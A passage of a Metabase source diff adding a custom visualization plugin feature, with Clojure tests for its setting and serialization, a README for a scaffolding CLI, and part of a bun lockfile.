+++ b/enterprise/backend/test/metabase_enterprise/premium_features/settings_test.clj
@@ -0,0 +1,25 @@
+(ns metabase-enterprise.premium-features.settings-test
+ (:require
+ [clojure.test :refer :all]
+ [metabase-enterprise.custom-viz-plugin.settings :as custom-viz.settings]
+ [metabase.premium-features.core :as premium-features]
+ [metabase.premium-features.test-util :as tu]
+ [metabase.test :as mt]))
+
+(deftest enable-custom-viz-test
+ (testing "enable-custom-viz? is false by default (setting defaults to false)"
+ (tu/with-premium-features #{:custom-viz}
+ (is (false? (premium-features/enable-custom-viz?)))))
+ (testing "enable-custom-viz? is true when admin opts in via the setting"
+ (tu/with-premium-features #{:custom-viz}
+ (mt/with-temporary-setting-values [custom-viz-enabled true]
+ (is (true? (premium-features/enable-custom-viz?))))))
+ (testing "enable-custom-viz? is false without the :custom-viz token feature, even when the setting is on"
+ (tu/with-premium-features #{}
+ (mt/with-temporary-setting-values [custom-viz-enabled true]
+ (is (false? (premium-features/enable-custom-viz?))))))
+ (testing "MB_CUSTOM_VIZ_ENABLED env var can toggle the setting"
+ (tu/with-premium-features #{:custom-viz}
+ (mt/with-temp-env-var-value! ["MB_CUSTOM_VIZ_ENABLED" "true"]
+ (is (true? (custom-viz.settings/custom-viz-enabled)))
+ (is (true? (premium-features/enable-custom-viz?)))))))
diff --git a/enterprise/backend/test/metabase_enterprise/serialization/models/entity_id_test.clj b/enterprise/backend/test/metabase_enterprise/serialization/models/entity_id_test.clj
index fe44ae0f0a7..368021ac8f0 100644
--- a/enterprise/backend/test/metabase_enterprise/serialization/models/entity_id_test.clj
+++ b/enterprise/backend/test/metabase_enterprise/serialization/models/entity_id_test.clj
@@ -16,6 +16,8 @@
(def ^:private entities-external-name
"Entities with external names, so they don't need a generated entity_id."
#{:model/Channel
+ ;; CustomVizPlugins have unique identifiers.
+ :model/CustomVizPlugin
;; Databases have external names based on their URLs; tables are nested under databases; fields under tables.
:model/Database
:model/Table
diff --git a/enterprise/backend/test/metabase_enterprise/serialization/v2/extract_test.clj b/enterprise/backend/test/metabase_enterprise/serialization/v2/extract_test.clj
index 2598310283c..d395e5878e2 100644
--- a/enterprise/backend/test/metabase_enterprise/serialization/v2/extract_test.clj
+++ b/enterprise/backend/test/metabase_enterprise/serialization/v2/extract_test.clj
@@ -22,6 +22,8 @@
[metabase.util.json :as json]
[toucan2.core :as t2]))
+(set! *warn-on-reflection* true)
+
(comment
;; Use this spell in your test body to add the given fixtures to the round trip baseline.
(round-trip-test/add-to-baseline!))
@@ -2632,6 +2634,34 @@
(testing "has no dependencies"
(is (empty? (serdes/dependencies ser)))))))))
+(deftest custom-viz-plugin-test
+ (mt/with-empty-h2-app-db!
+ (t2/delete! :model/CustomVizPlugin)
+ (ts/with-temp-dpc [:model/CustomVizPlugin {plugin-id :id} {:display_name "Test Plugin"
+ :identifier "test-plugin"
+ :status :active
+ :manifest "{}"
+ :bundle (.getBytes "pretend tgz bytes" "UTF-8")
+ :bundle_hash "deadbeef"}]
+ ;; Uncomment to regenerate baseline:
+ ;; (round-trip-test/add-to-baseline!)
+ (testing "custom viz plugin extraction"
+ (let [ser (serdes/extract-one "CustomVizPlugin" {} (t2/select-one :model/CustomVizPlugin :id plugin-id))]
+ (is (=? {:serdes/meta [{:model "CustomVizPlugin"
+ :id "test-plugin"}]
+ :display_name "Test Plugin"
+ :identifier "test-plugin"
+ :manifest {}
+ :bundle_hash "deadbeef"
+ :bundle string?
+ :created_at string?}
+ ser))
+ (is (not (contains? ser :id)))
+ (is (not (contains? ser :status)))
+
+ (testing "has no dependencies"
+ (is (empty? (serdes/dependencies ser)))))))))
+
(deftest ^:parallel export-parameters-sorts-by-id-test
(let [params [{:id "zebra" :name "Z param" :type :category}
{:id "alpha" :name "A param" :type :category}
diff --git a/enterprise/backend/test/metabase_enterprise/serialization/v2/round_trip_test.clj b/enterprise/backend/test/metabase_enterprise/serialization/v2/round_trip_test.clj
index ccd8d582da7..0f72f469387 100644
--- a/enterprise/backend/test/metabase_enterprise/serialization/v2/round_trip_test.clj
+++ b/enterprise/backend/test/metabase_enterprise/serialization/v2/round_trip_test.clj
@@ -190,14 +190,15 @@
(defn- update-baseline!
"Run this if you've examined the output of [[directory-comparison-test]], and are happy to accept the changes."
[]
- (let [temp-dir (temp-dir "serialization_test")
- output-dir (.toFile (.resolve temp-dir "serialization_output"))]
- (mt/with-empty-h2-app-db!
- (load-extract! source-dir output-dir))
- (delete-dir-contents! source-dir)
- (Files/move (.toPath output-dir)
- (.toPath source-dir)
- (into-array [StandardCopyOption/REPLACE_EXISTING]))))
+ (mt/with-dynamic-fn-redefs [models.database/assert-not-h2! (constantly nil)]
+ (let [temp-dir (temp-dir "serialization_test")
+ output-dir (.toFile (.resolve temp-dir "serialization_output"))]
+ (mt/with-empty-h2-app-db!
+ (load-extract! source-dir output-dir))
+ (delete-dir-contents! source-dir)
+ (Files/move (.toPath output-dir)
+ (.toPath source-dir)
+ (into-array [StandardCopyOption/REPLACE_EXISTING])))))
(comment
(delete-dir-contents! source-dir)
diff --git a/enterprise/frontend/src/custom-viz/.gitignore b/enterprise/frontend/src/custom-viz/.gitignore
new file mode 100644
index 00000000000..4f6fe021722
--- /dev/null
+++ b/enterprise/frontend/src/custom-viz/.gitignore
@@ -0,0 +1,3 @@
+dist/
+*.tgz
+test-viz*/
diff --git a/enterprise/frontend/src/custom-viz/.oxlintrc.json b/enterprise/frontend/src/custom-viz/.oxlintrc.json
new file mode 100644
index 00000000000..0967ef424bc
--- /dev/null
+++ b/enterprise/frontend/src/custom-viz/.oxlintrc.json
@@ -0,0 +1 @@
+{}
diff --git a/enterprise/frontend/src/custom-viz/README.md b/enterprise/frontend/src/custom-viz/README.md
new file mode 100644
index 00000000000..89bb26f7410
--- /dev/null
+++ b/enterprise/frontend/src/custom-viz/README.md
@@ -0,0 +1,50 @@
+# @metabase/custom-viz
+
+CLI and type definitions for creating custom visualizations for Metabase.
+
+## Getting Started
+
+### 1. Scaffold a new visualization
+
+```bash
+npx @metabase/custom-viz init my-viz
+```
+
+This creates a new directory with everything you need:
+
+```
+my-viz/
+ src/index.tsx # Your visualization code
+ package.json
+ vite.config.ts
+ tsconfig.json
+```
+
+### 2. Install dependencies and start developing
+
+```bash
+cd my-viz
+npm install
+npm run dev # Watch mode — rebuilds on changes
+```
+
+### 3. Build for production
+
+```bash
+npm run build
+```
+
+The build output will be in the `dist/` directory, ready to be loaded into Metabase.
+
+## Project Structure
+
+```
+src/
+ cli.ts # CLI entry point (commander)
+ index.ts # Library entry point (type exports)
+ templates.ts # Scaffolding templates
+ templates/ # Template files for `init` command
+ types/ # Custom visualization type definitions
+dist/ # Build output
+vite.config.ts # Vite build configuration
+```
diff --git a/enterprise/frontend/src/custom-viz/bun.lock b/enterprise/frontend/src/custom-viz/bun.lock
new file mode 100644
index 00000000000..071829b1160
--- /dev/null
+++ b/enterprise/frontend/src/custom-viz/bun.lock
@@ -0,0 +1,1113 @@
+{
+ "lockfileVersion": 1,
+ "configVersion": 1,
+ "workspaces": {
+ "": {
+ "name": "@metabase/custom-viz",
+ "dependencies": {
+ "commander": "^13.1.0",
+ },
+ "devDependencies": {
+ "@types/node": "^25.5.0",
+ "@types/react": "^18.3.3",
+ "@types/react-dom": "18",
+ "np": "^11.0.2",
+ "oxlint": "^1.59.0",
+ "prettier": "^3.8.1",
+ "typescript": "^5.9.3",
+ "vite": "^8.0.3",
+ "vite-plugin-dts": "^4.5.4",
+ "vitest": "^4.1.3",
+ },
+ },
+ },
+ "packages": {
+ "@babel/code-frame": ["@babel/[email protected]", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.28.5", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-9NhCeYjq9+3uxgdtp20LSiJXJvN0FeCtNGpJxuMFZ1Kv3cWUNb6DOhJwUvcVCzKGR66cw4njwM6hrJLqgOwbcw=="],
+
+ "@babel/helper-string-parser": ["@babel/[email protected]", "", {}, "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA=="],
+
+ "@babel/helper-validator-identifier": ["@babel/[email protected]", "", {}, "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q=="],
+
+ "@babel/parser": ["@babel/[email protected]", "", { "dependencies": { "@babel/types": "^7.29.0" }, "bin": "./bin/babel-parser.js" }, "sha512-4GgRzy/+fsBa72/RZVJmGKPmZu9Byn8o4MoLpmNe1m8ZfYnz5emHLQz3U4gLud6Zwl0RZIcgiLD7Uq7ySFuDLA=="],
+
+ "@babel/types": ["@babel/[email protected]", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A=="],
+
+ "@emnapi/core": ["@emnapi/[email protected]", "", { "dependencies": { "@emnapi/wasi-threads": "1.2.1", "tslib": "^2.4.0" } }, "sha512-UC+ZhH3XtczQYfOlu3lNEkdW/p4dsJ1r/bP7H8+rhao3TTTMO1ATq/4DdIi23XuGoFY+Cz0JmCbdVl0hz9jZcA=="],
+
+ "@emnapi/runtime": ["@emnapi/[email protected]", "", { "dependencies": { "tslib": "^2.4.0" } }, "sha512-3U4+MIWHImeyu1wnmVygh5WlgfYDtyf0k8AbLhMFxOipihf6nrWC4syIm/SwEeec0mNSafiiNnMJwbza/Is6Lw=="],
+
+ "@emnapi/wasi-threads": ["@emnapi/[email protected]", "", { "dependencies": { "tslib": "^2.4.0" } }, "sha512-uTII7OYF+/Mes/MrcIOYp5yOtSMLBWSIoLPpcgwipoiKbli6k322tcoFsxoIIxPDqW01SQGAgko4EzZi2BNv2w=="],
+
+ "@inquirer/ansi": ["@inquirer/[email protected]", "", {}, "sha512-DpcZrQObd7S0R/U3bFdkcT5ebRwbTTC4D3tCc1vsJizmgPLxNJBo+AAFmrZwe8zk30P2QzgzGWZ3Q9uJwWuhIg=="],
+
+ "@inquirer/checkbox": ["@inquirer/[email protected]", "", { "dependencies": { "@inquirer/ansi": "^2.0.4", "@inquirer/core": "^11.1.7", "@inquirer/figures": "^2.0.4", "@inquirer/type": "^4.0.4" }, "peerDependencies": { "@types/node": ">=18" }, "optionalPeers": ["@types/node"] }, "sha512-PubpMPO2nJgMufkoB3P2wwxNXEMUXnBIKi/ACzDUYfaoPuM7gSTmuxJeMscoLVEsR4qqrCMf5p0SiYGWnVJ8kw=="],
+
+ "@inquirer/confirm": ["@inquirer/[email protected]", "", { "dependencies": { "@inquirer/core": "^11.1.7", "@inquirer/type": "^4.0.4" }, "peerDependencies": { "@types/node": ">=18" }, "optionalPeers": ["@types/node"] }, "sha512-tiNyA73pgpQ0FQ7axqtoLUe4GDYjNCDcVsbgcA5anvwg2z6i+suEngLKKJrWKJolT//GFPZHwN30binDIHgSgQ=="],
+
+ "@inquirer/core": ["@inquirer/[email protected]", "", { "dependencies": { "@inquirer/ansi": "^2.0.4", "@inquirer/figures": "^2.0.4", "@inquirer/type": "^4.0.4", "cli-width": "^4.1.0", "fast-wrap-ansi": "^0.2.0", "mute-stream": "^3.0.0", "signal-exit": "^4.1.0" }, "peerDependencies": { "@types/node": ">=18" }, "optionalPeers": ["@types/node"] }, "sha512-1BiBNDk9btIwYIzNZpkikIHXWeNzNncJePPqwDyVMhXhD1ebqbpn1mKGctpoqAbzywZfdG0O4tvmsGIcOevAPQ=="],
+
+ "@inquirer/editor": ["@inquirer/[email protected]", "", { "dependencies": { "@inquirer/core": "^11.1.7", "@inquirer/external-editor": "^2.0.4", "@inquirer/type": "^4.0.4" }, "peerDependencies": { "@types/node": ">=18" }, "optionalPeers": ["@types/node"] }, "sha512-VJx4XyaKea7t8hEApTw5dxeIyMtWXre2OiyJcICCRZI4hkoHsMoCnl/KbUnJJExLbH9csLLHMVR144ZhFE1CwA=="],
+
+ "@inquirer/expand": ["@inquirer/[email protected]", "", { "dependencies": { "@inquirer/core": "^11.1.7", "@inquirer/type": "^4.0.4" }, "peerDependencies": { "@types/node": ">=18" }, "optionalPeers": ["@types/node"] }, "sha512-fC0UHJPXsTRvY2fObiwuQYaAnHrp3aDqfwKUJSdfpgv18QUG054ezGbaRNStk/BKD5IPijeMKWej8VV8O5Q/eQ=="],
+
+ "@inquirer/external-editor": ["@inquirer/[email protected]", "", { "dependencies": { "chardet": "^2.1.1", "iconv-lite": "^0.7.2" }, "peerDependencies": { "@types/node": ">=18" }, "optionalPeers": ["@types/node"] }, "sha512-Prenuv9C1PHj2Itx0BcAOVBTonz02Hc2Nd2DbU67PdGUaqn0nPCnV34oDyyoaZHnmfRxkpuhh/u51ThkrO+RdA=="],
+
+ "@inquirer/figures": ["@inquirer/[email protected]", "", {}, "sha512-eLBsjlS7rPS3WEhmOmh1znQ5IsQrxWzxWDxO51e4urv+iVrSnIHbq4zqJIOiyNdYLa+BVjwOtdetcQx1lWPpiQ=="],
+
+ "@inquirer/input": ["@inquirer/[email protected]", "", { "dependencies": { "@inquirer/core": "^11.1.7", "@inquirer/type": "^4.0.4" }, "peerDependencies": { "@types/node": ">=18" }, "optionalPeers": ["@types/node"] }, "sha512-nvZ6qEVeX/zVtZ1dY2hTGDQpVGD3R7MYPLODPgKO8Y+RAqxkrP3i/3NwF3fZpLdaMiNuK0z2NaYIx9tPwiSegQ=="],
+
+ "@inquirer/number": ["@inquirer/[email protected]", "", { "dependencies": { "@inquirer/core": "^11.1.7", "@inquirer/type": "^4.0.4" }, "peerDependencies": { "@types/node": ">=18" }, "optionalPeers": ["@types/node"] }, "sha512-Ht8OQstxiS3APMGjHV0aYAjRAysidWdwurWEo2i8yI5xbhOBWqizT0+MU1S2GCcuhIBg+3SgWVjEoXgfhY+XaA=="],
+
+ "@inquirer/password": ["@inquirer/[email protected]", "", { "dependencies": { "@inquirer/ansi": "^2.0.4", "@inquirer/core": "^11.1.7", "@inquirer/type": "^4.0.4" }, "peerDependencies": { "@types/node": ">=18" }, "optionalPeers": ["@types/node"] }, "sha512-QbNyvIE8q2GTqKLYSsA8ATG+eETo+m31DSR0+AU7x3d2FhaTWzqQek80dj3JGTo743kQc6mhBR0erMjYw5jQ0A=="],
+
+ "@inquirer/prompts": ["@inquirer/[email protected]", "", { "dependencies": { "@inquirer/checkbox": "^5.1.2", "@inquirer/confirm": "^6.0.10", "@inquirer/editor": "^5.0.10", "@inquirer/expand": "^5.0.10", "@inquirer/input": "^5.0.10", "@inquirer/number": "^4.0.10", "@inquirer/password": "^5.0.10", "@inquirer/rawlist": "^5.2.6", "@inquirer/search": "^4.1.6", "@inquirer/select": "^5.1.2" }, "peerDependencies": { "@types/node": ">=18" }, "optionalPeers": ["@types/node"] }, "sha512-yFroiSj2iiBFlm59amdTvAcQFvWS6ph5oKESls/uqPBect7rTU2GbjyZO2DqxMGuIwVA8z0P4K6ViPcd/cp+0w=="],
+
+ "@inquirer/rawlist": ["@inquirer/[email protected]", "", { "dependencies": { "@inquirer/core": "^11.1.7", "@inquirer/type": "^4.0.4" }, "peerDependencies": { "@types/node": ">=18" }, "optionalPeers": ["@types/node"] }, "sha512-jfw0MLJ5TilNsa9zlJ6nmRM0ZFVZhhTICt4/6CU2Dv1ndY7l3sqqo1gIYZyMMDw0LvE1u1nzJNisfHEhJIxq5w=="],
+
+ "@inquirer/search": ["@inquirer/[email protected]", "", { "dependencies": { "@inquirer/core": "^11.1.7", "@inquirer/figures": "^2.0.4", "@inquirer/type": "^4.0.4" }, "peerDependencies": { "@types/node": ">=18" }, "optionalPeers": ["@types/node"] }, "sha512-3/6kTRae98hhDevENScy7cdFEuURnSpM3JbBNg8yfXLw88HgTOl+neUuy/l9W0No5NzGsLVydhBzTIxZP7yChQ=="],
+
+ "@inquirer/select": ["@inquirer/[email protected]", "", { "dependencies": { "@inquirer/ansi": "^2.0.4", "@inquirer/core": "^11.1.7", "@inquirer/figures": "^2.0.4", "@inquirer/type": "^4.0.4" }, "peerDependencies": { "@types/node": ">=18" }, "optionalPeers": ["@types/node"] }, "sha512-kTK8YIkHV+f02y7bWCh7E0u2/11lul5WepVTclr3UMBtBr05PgcZNWfMa7FY57ihpQFQH/spLMHTcr0rXy50tA=="],
+
+ "@inquirer/type": ["@inquirer/[email protected]", "", { "peerDependencies": { "@types/node": ">=18" }, "optionalPeers": ["@types/node"] }, "sha512-PamArxO3cFJZoOzspzo6cxVlLeIftyBsZw/S9bKY5DzxqJVZgjoj1oP8d0rskKtp7sZxBycsoer1g6UeJV1BBA=="],
+
+ "@jridgewell/sourcemap-codec": ["@jridgewell/[email protected]", "", {}, "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og=="],
+
+ "@microsoft/api-extractor": ["@microsoft/[email protected]", "", { "dependencies": { "@microsoft/api-extractor-model": "7.33.5", "@microsoft/tsdoc": "~0.16.0", "@microsoft/tsdoc-config": "~0.18.1", "@rushstack/node-core-library": "5.21.0", "@rushstack/rig-package": "0.7.2", "@rushstack/terminal": "0.22.4", "@rushstack/ts-command-line": "5.3.4", "diff": "~8.0.2", "lodash": "~4.17.23", "minimatch": "10.2.3", "resolve": "~1.22.1", "semver": "~7.5.4", "source-map": "~0.6.1", "typescript": "5.9.3" }, "bin": { "api-extractor": "bin/api-extractor" } }, "sha512-XcHlDylX5GblbGbs1eBoexjVyvdJMioTPuBCgCorE2rqijzTYxi6eudXyez3xACRxtH9aDtahoL9fYM4XTvQmg=="],
+
+ "@microsoft/api-extractor-model": ["@microsoft/[email protected]", "", { "dependencies": { "@microsoft/tsdoc": "~0.16.0", "@microsoft/tsdoc-config": "~0.18.1", "@rushstack/node-core-library": "5.21.0" } }, "sha512-Xh4dXuusndVQqVz4nEN9xOp0DyzsKxeD2FFJkSPg4arAjDSKPcy6cAc7CaeBPA7kF2wV1fuDlo2p/bNMpVr8yg=="],
+
+ "@microsoft/tsdoc": ["@microsoft/[email protected]", "", {}, "sha512-xgAyonlVVS+q7Vc7qLW0UrJU7rSFcETRWsqdXZtjzRU8dF+6CkozTK4V4y1LwOX7j8r/vHphjDeMeGI4tNGeGA=="],
+
+ "@microsoft/tsdoc-config": ["@microsoft/[email protected]", "", { "dependencies": { "@microsoft/tsdoc": "0.16.0", "ajv": "~8.18.0", "jju": "~1.4.0", "resolve": "~1.22.2" } }, "sha512-9brPoVdfN9k9g0dcWkFeA7IH9bbcttzDJlXvkf8b2OBzd5MueR1V2wkKBL0abn0otvmkHJC6aapBOTJDDeMCZg=="],
+
+ "@napi-rs/wasm-runtime": ["@napi-rs/[email protected]", "", { "dependencies": { "@tybys/wasm-util": "^0.10.1" }, "peerDependencies": { "@emnapi/core": "^1.7.1", "@emnapi/runtime": "^1.7.1" } }, "sha512-sNXv5oLJ7ob93xkZ1XnxisYhGYXfaG9f65/ZgYuAu3qt7b3NadcOEhLvx28hv31PgX8SZJRYrAIPQilQmFpLVw=="],
+
+ "@nodelib/fs.scandir": ["@nodelib/[email protected]", "", { "dependencies": { "@nodelib/fs.stat": "2.0.5", "run-parallel": "^1.1.9" } }, "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g=="],
+
+ "@nodelib/fs.stat": ["@nodelib/[email protected]", "", {}, "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A=="],
+
+ "@nodelib/fs.walk": ["@nodelib/[email protected]", "", { "dependencies": { "@nodelib/fs.scandir": "2.1.5", "fastq": "^1.6.0" } }, "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg=="],
+
+ "@oxc-project/types": ["@oxc-project/[email protected]", "", {}, "sha512-oLAl5kBpV4w69UtFZ9xqcmTi+GENWOcPF7FCrczTiBbmC0ibXxCwyvZGbO39rCVEuLGAZM84DH0pUIyyv/YJzA=="],
+
+ "@oxlint/binding-android-arm-eabi": ["@oxlint/[email protected]", "", { "os": "android", "cpu": "arm" }, "sha512-etYDw/UaEv936AQUd/CRMBVd+e+XuuU6wC+VzOv1STvsTyZenLChepLWqLtnyTTp4YMlM22ypzogDDwqYxv5cg=="],
+
+ "@oxlint/binding-android-arm64": ["@oxlint/[email protected]", "", { "os": "android", "cpu": "arm64" }, "sha512-TgLc7XVLKH2a4h8j3vn1MDjfK33i9MY60f/bKhRGWyVzbk5LCZ4X01VZG7iHrMmi5vYbAp8//Ponigx03CLsdw=="],
+
+ "@oxlint/binding-darwin-arm64": ["@oxlint/[email protected]", "", { "os": "darwin", "cpu": "arm64" }, "sha512-DXyFPf5ZKldMLloRHx/B9fsxsiTQomaw7cmEW3YIJko2HgCh+GUhp9gGYwHrqlLJPsEe3dYj9JebjX92D3j3AA=="],
+
+ "@oxlint/binding-darwin-x64": ["@oxlint/[email protected]", "", { "os": "darwin", "cpu": "x64" }, "sha512-LgvrsdgVLX1qWqIEmNsSmMXJhpAWdtUQ0M+oR0CySwi+9IHWyOGuIL8w8+u/kbZNMyZr4WUyYB5i0+D+AKgkLg=="],
+
+ "@oxlint/binding-freebsd-x64": ["@oxlint/[email protected]", "", { "os": "freebsd", "cpu": "x64" }, "sha512-bOJhqX/ny4hrFuTPlyk8foSRx/vLRpxJh0jOOKN2NWW6FScXHPAA5rQbrwdQPcgGB5V8Ua51RS03fke8ssBcug=="],
+
+ "@oxlint/binding-linux-arm-gnueabihf": ["@oxlint/[email protected]", "", { "os": "linux", "cpu": "arm" }, "sha512-vVUXxYMF9trXCsz4m9H6U0IjehosVHxBzVgJUxly1uz4W1PdDyicaBnpC0KRXsHYretLVe+uS9pJy8iM57Kujw=="],
+
+ "@oxlint/binding-linux-arm-musleabihf": ["@oxlint/[email protected]", "", { "os": "linux", "cpu": "arm" }, "sha512-TULQW8YBPGRWg5yZpFPL54HLOnJ3/HiX6VenDPi6YfxB/jlItwSMFh3/hCeSNbh+DAMaE1Py0j5MOaivHkI/9Q=="],
+
+ "@oxlint/binding-linux-arm64-gnu": ["@oxlint/[email protected]", "", { "os": "linux", "cpu": "arm64" }, "sha512-Gt54Y4eqSgYJ90xipm24xeyaPV854706o/kiT8oZvUt3VDY7qqxdqyGqchMaujd87ib+/MXvnl9WkK8Cc1BExg=="],
+
+ "@oxlint/binding-linux-arm64-musl": ["@oxlint/[email protected]", "", { "os": "linux", "cpu": "arm64" }, "sha512-3CtsKp7NFB3OfqQzbuAecrY7GIZeiv7AD+xutU4tefVQzlfmTI7/ygWLrvkzsDEjTlMq41rYHxgsn6Yh8tybmA=="],
+
+ "@oxlint/binding-linux-ppc64-gnu": ["@oxlint/[email protected]", "", { "os": "linux", "cpu": "ppc64" }, "sha512-K0diOpT3ncDmOfl9I1HuvpEsAuTxkts0VYwIv/w6Xiy9CdwyPBVX88Ga9l8VlGgMrwBMnSY4xIvVlVY/fkQk7Q=="],
+
+ "@oxlint/binding-linux-riscv64-gnu": ["@oxlint/[email protected]", "", { "os": "linux", "cpu": "none" }, "sha512-xAU7+QDU6kTJJ7mJLOGgo7oOjtAtkKyFZ0Yjdb5cEo3DiCCPFLvyr08rWiQh6evZ7RiUTf+o65NY/bqttzJiQQ=="],
+
+ "@oxlint/binding-linux-riscv64-musl": ["@oxlint/[email protected]", "", { "os": "linux", "cpu": "none" }, "sha512-KUmZmKlTTyauOnvUNVxK7G40sSSx0+w5l1UhaGsC6KPpOYHenx2oqJTnabmpLJicok7IC+3Y6fXAUOMyexaeJQ=="],
+
+ "@oxlint/binding-linux-s390x-gnu": ["@oxlint/[email protected]", "", { "os": "linux", "cpu": "s390x" }, "sha512-4usRxC8gS0PGdkHnRmwJt/4zrQNZyk6vL0trCxwZSsAKM+OxhB8nKiR+mhjdBbl8lbMh2gc3bZpNN/ik8c4c2A=="],
+
+ "@oxlint/binding-linux-x64-gnu": ["@oxlint/[email protected]", "", { "os": "linux", "cpu": "x64" }, "sha512-s/rNE2gDmbwAOOP493xk2X7M8LZfI1LJFSSW1+yanz3vuQCFPiHkx4GY+O1HuLUDtkzGlhtMrIcxxzyYLv308w=="],
+
+ "@oxlint/binding-linux-x64-musl": ["@oxlint/[email protected]", "", { "os": "linux", "cpu": "x64" }, "sha512-+yYj1udJa2UvvIUmEm0IcKgc0UlPMgz0nsSTvkPL2y6n0uU5LgIHSwVu4AHhrve6j9BpVSoRksnz8c9QcvITJA=="],
+
+ "@oxlint/binding-openharmony-arm64": ["@oxlint/[email protected]", "", { "os": "none", "cpu": "arm64" }, "sha512-bUplUb48LYsB3hHlQXP2ZMOenpieWoOyppLAnnAhuPag3MGPnt+7caxE3w/Vl9wpQsTA3gzLntQi9rxWrs7Xqg=="],
+
+ "@oxlint/binding-win32-arm64-msvc": ["@oxlint/[email protected]", "", { "os": "win32", "cpu": "arm64" }, "sha512-/HLsLuz42rWl7h7ePdmMTpHm2HIDmPtcEMYgm5BBEHiEiuNOrzMaUpd2z7UnNni5LGN9obJy2YoAYBLXQwazrA=="],
+
+ "@oxlint/binding-win32-ia32-msvc": ["@oxlint/[email protected]", "", { "os": "win32", "cpu": "ia32" }, "sha512-rUPy+JnanpPwV/aJCPnxAD1fW50+XPI0VkWr7f0vEbqcdsS8NpB24Rw6RsS7SdpFv8Dw+8ugCwao5nCFbqOUSg=="],
+
+ "@oxlint/binding-win32-x64-msvc": ["@oxlint/[email protected]", "", { "os": "win32", "cpu": "x64" }, "sha512-xkE7puteDS/vUyRngLXW0t8WgdWoS/tfxXjhP/P7SMqPDx+hs44SpssO3h3qmTqECYEuXBUPzcAw5257Ka+ofA=="],
+
+ "@pnpm/config.env-replace": ["@pnpm/[email protected]", "", {}, "sha512-htyl8TWnKL7K/ESFa1oW2UB5lVDxuF5DpM7tBi6Hu2LNL3mWkIzNLG6N4zoCUP1lCKNxWy/3iu8mS8MvToGd6w=="],
+
+ "@pnpm/network.ca-file": ["@pnpm/[email protected]", "", { "dependencies": { "graceful-fs": "4.2.10" } }, "sha512-YcPQ8a0jwYU9bTdJDpXjMi7Brhkr1mXsXrUJvjqM2mQDgkRiz8jFaQGOdaLxgjtUfQgZhKy/O3cG/YwmgKaxLA=="],
+
+ "@pnpm/npm-conf": ["@pnpm/[email protected]", "", { "dependencies": { "@pnpm/config.env-replace": "^1.1.0", "@pnpm/network.ca-file": "^1.0.1", "config-chain": "^1.1.11" } }, "sha512-h104Kh26rR8tm+a3Qkc5S4VLYint3FE48as7+/5oCEcKR2idC/pF1G6AhIXKI+eHPJa/3J9i5z0Al47IeGHPkA=="],
+
+ "@rolldown/binding-android-arm64": ["@rolldown/[email protected]", "", { "os": "android", "cpu": "arm64" }, "sha512-pv1y2Fv0JybcykuiiD3qBOBdz6RteYojRFY1d+b95WVuzx211CRh+ytI/+9iVyWQ6koTh5dawe4S/yRfOFjgaA=="],
+
+ "@rolldown/binding-darwin-arm64": ["@rolldown/[email protected]", "", { "os": "darwin", "cpu": "arm64" }, "sha512-cFYr6zTG/3PXXF3pUO+umXxt1wkRK/0AYT8lDwuqvRC+LuKYWSAQAQZjCWDQpAH172ZV6ieYrNnFzVVcnSflAg=="],
+
+ "@rolldown/binding-darwin-x64": ["@rolldown/[email protected]", "", { "os": "darwin", "cpu": "x64" }, "sha512-ZCsYknnHzeXYps0lGBz8JrF37GpE9bFVefrlmDrAQhOEi4IOIlcoU1+FwHEtyXGx2VkYAvhu7dyBf75EJQffBw=="],
+
+ "@rolldown/binding-freebsd-x64": ["@rolldown/[email protected]", "", { "os": "freebsd", "cpu": "x64" }, "sha512-dMLeprcVsyJsKolRXyoTH3NL6qtsT0Y2xeuEA8WQJquWFXkEC4bcu1rLZZSnZRMtAqwtrF/Ib9Ddtpa/Gkge9Q=="],
+
+ "@rolldown/binding-linux-arm-gnueabihf": ["@rolldown/[email protected]", "", { "os": "linux", "cpu": "arm" }, "sha512-YqWjAgGC/9M1lz3GR1r1rP79nMgo3mQiiA+Hfo+pvKFK1fAJ1bCi0ZQVh8noOqNacuY1qIcfyVfP6HoyBRZ85Q=="],
+
+ "@rolldown/binding-linux-arm64-gnu": ["@rolldown/[email protected]", "", { "os": "linux", "cpu": "arm64" }, "sha512-/I5AS4cIroLpslsmzXfwbe5OmWvSsrFuEw3mwvbQ1kDxJ822hFHIx+vsN/TAzNVyepI/j/GSzrtCIwQPeKCLIg=="],
+
+ "@rolldown/binding-linux-arm64-musl": ["@rolldown/[email protected]", "", { "os": "linux", "cpu": "arm64" }, "sha512-V6/wZztnBqlx5hJQqNWwFdxIKN0m38p8Jas+VoSfgH54HSj9tKTt1dZvG6JRHcjh6D7TvrJPWFGaY9UBVOaWPw=="],
+
+ "@rolldown/binding-linux-ppc64-gnu": ["@rolldown/[email protected]", "", { "os": "linux", "cpu": "ppc64" }, "sha512-AP3E9BpcUYliZCxa3w5Kwj9OtEVDYK6sVoUzy4vTOJsjPOgdaJZKFmN4oOlX0Wp0RPV2ETfmIra9x1xuayFB7g=="],
+
+ "@rolldown/binding-linux-s390x-gnu": ["@rolldown/[email protected]", "", { "os": "linux", "cpu": "s390x" }, "sha512-nWwpvUSPkoFmZo0kQazZYOrT7J5DGOJ/+QHHzjvNlooDZED8oH82Yg67HvehPPLAg5fUff7TfWFHQS8IV1n3og=="],
+
